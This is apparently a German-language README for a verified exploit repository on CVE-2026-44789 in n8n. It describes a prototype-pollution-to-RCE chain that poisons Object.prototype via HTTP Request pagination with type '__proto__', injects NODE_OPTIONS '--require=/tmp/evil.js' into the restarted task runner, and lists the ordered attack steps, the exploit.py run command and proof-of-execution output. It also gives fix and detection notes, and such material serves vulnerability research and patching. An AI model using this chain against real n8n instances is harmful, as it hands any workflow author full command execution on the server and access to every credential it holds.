
CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e.
Ein authentifizierter n8n
< 1.123.43Workflow-Ersteller verseuchtObject.prototypeim n8n Server-Prozess über die Paginierungseinstellungen des HTTP-Request-Nodes, und eskaliert dann zu Remote Code Execution, indem er missbraucht, wie n8n seinen Task-Runner startet — eine verseuchteNODE_OPTIONSin einen Child-node-Prozess durchsickern lässt und die Code-Node-Sandbox umgeht.
| CVE | CVE-2026-44789 |
| Advisory | GHSA-c8xv-5998-g76h |
| Betroffen | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| Behoben | 1.123.43 / 2.20.7 / 2.22.1 |
| Klasse | CWE-1321 (Prototype Pollution) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / Kritisch |
| Auth | Authentifiziert (Workflow-Erstellungs-/Änderungsberechtigung) |
| Status | BESTÄTIGT — vollständige Kette End-to-End gegen n8nio/n8n:1.123.42 reproduziert |
Das öffentliche Advisory gibt nur an, dass die Verschmutzung "in Kombination mit anderen Techniken zu RCE führen könnte" — es offenbart kein Gadget. Dieses Repository dokumentiert und automatisiert eine konkrete, verifizierte Prototype-Pollution→RCE-Kette.
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, Paginierungsmodus
updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type, parameterName und parameterValue stammen alle aus dem Workflow-
JSON (angreifergesteuert). Mit parameter.type = "__proto__" löst
paginationData.request["__proto__"] zu Object.prototype auf, sodass die Zuweisung
Object.prototype[parameterName] = parameterValue schreibt — eine globale
Prototype Pollution im n8n-Serverprozess.
Der Fix verwendet Object.create(null) für paginationData.request, sodass ["__proto__"]
ein gewöhnlicher (Null-Prototyp)-Schlüssel ist, nicht der Prototyp.
packages/cli/src/task-runners/task-runner-process-js.ts startet den JS-Task-Runner:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node's normalizeSpawnArguments baut die Child-Umgebung mit
for (const key in env) auf, was vererbte aufzählbare Eigenschaften aufzählt.
Das Verseuchen von Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" gelangt
daher in die Umgebung des gestarteten Runners. Der Child ist node, der NODE_OPTIONS
ehrt, also --require't die Datei des Angreifers beim Start → Code-Ausführung
außerhalb der Code-Node-Sandbox als der n8n-Dienstbenutzer.
Der Runner wird beim Start gestartet, aber sein Lebenszyklus startet ihn neu, sobald
der Prozess beendet wird (onProcessExit → start()). Der Angreifer erzwingt einen Neustart
nach der Verschmutzung, indem er den Runner mit einer Code-Node hängt (Task-Timeout / OOM tötet ihn).
exploit.py tut)1. schreibe /tmp/evil.js über Set → Convert to File → Read/Write Files Nodes
2. hänge den Task-Runner über eine Code-Node ( while(true){} ) [VOR der Verschmutzung]
3. verseuche Object.prototype.NODE_OPTIONS über den HTTP-Request-Node ( type="__proto__" )
4. der gehängte Runner timeout → Hauptprozess startet 'node' neu → erbt NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
Die Reihenfolge ist wichtig: Die Verschmutzung macht NODE_OPTIONS zu einem aufzählbaren Own-less-Schlüssel auf
Object.prototype, worüber n8n's TypeORM-Schicht stolpert (for…in über Entitäten),
wodurch die Workflow-Persistenz unterbrochen wird. Also muss der Runner bereits vor der
Verschmutzung gehängt sein; der Neustart nimmt dann die verseuchte Umgebung auf.
Konfigurationsumfang (zuerst lesen). Die Primitive der Prototype Pollution feuert auf jeder betroffenen Version ohne Konfigurationsänderungen. Das RCE-Gadget benötigt den Task-Runner, der pro Branch unterschiedlich erreicht wird:
- n8n 2.x betroffen (2.0.0–2.20.6, 2.21.0–2.22.0): Task-Runner sind standardmäßig/obligatorisch (
N8N_RUNNERS_ENABLEDist veraltet →SAFE_TO_REMOVE), also ist die vollständige RCE-Kette Standardkonfiguration.- n8n 1.123.x betroffen (dieses Lab-Image): Task-Runner sind standardmäßig aus, also setzt das Lab
N8N_RUNNERS_ENABLED=true, um den 2.x-Standard zu spiegeln.N8N_RUNNERS_TASK_TIMEOUTwird nur gesenkt, um den Neustart des gehängten Runners schneller auszulösen — es ist nicht erforderlich für den Fehler.
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, Runner aktiviert, um 2.x zu spiegeln
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# Befehlsausgabe erscheint auf dem n8n-Host:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py verwendet nur die Python-Standardbibliothek und steuert die n8n REST-API
End-to-End (Owner-Setup/Login → Workflows bereitstellen → Kette auslösen).
Beobachtet:
[*] schritt 1: --require-Payload nach /tmp/evil.js geschrieben (über Read/Write Files Node)
[*] schritt 2: einen hängenden Task abgesetzt -> Runner ist jetzt beschäftigt
[*] schritt 3: Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js verseucht
[*] warte darauf, dass der gehängte Runner timeout, neu gestartet wird und NODE_OPTIONS erbt ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) ist das Dienstkonto des Runners und die Ausgabe ist Live-id/uname-
Zustand — echte Ausführung, kein Eingabe-Echo.
Jeder authentifizierte Benutzer, der einen Workflow erstellen oder ändern kann, erhält Betriebssystem-Befehlsausführung auf dem n8n-Host, wobei er die Code-Node-Sandbox verlässt — vollständige Kompromittierung des Automatisierungsservers und aller Anmeldeinformationen/Systeme, die er erreichen kann.
Object.create(null) erstellt, was den __proto__-Schreibvorgang unterbindet).--disable-proto=delete / --disallow-code-generation-from-strings gehärtet,
aber diese schützen den Runner, nicht den Hauptprozess, in dem die Pollution landet.Kennzeichnen Sie Workflows, deren HTTP-Request-Paginierungsparameter type-Werte von
__proto__ / constructor / prototype verwenden, und NODE_OPTIONS, die als
Entitätseigenschaftsfehler in n8n/TypeORM-Logs erscheinen.
Siehe ANALYSIS.md für die Primitive, das Node-for…in-Umgebungsverhalten,
den Runner-Lebenszyklus und den Patch.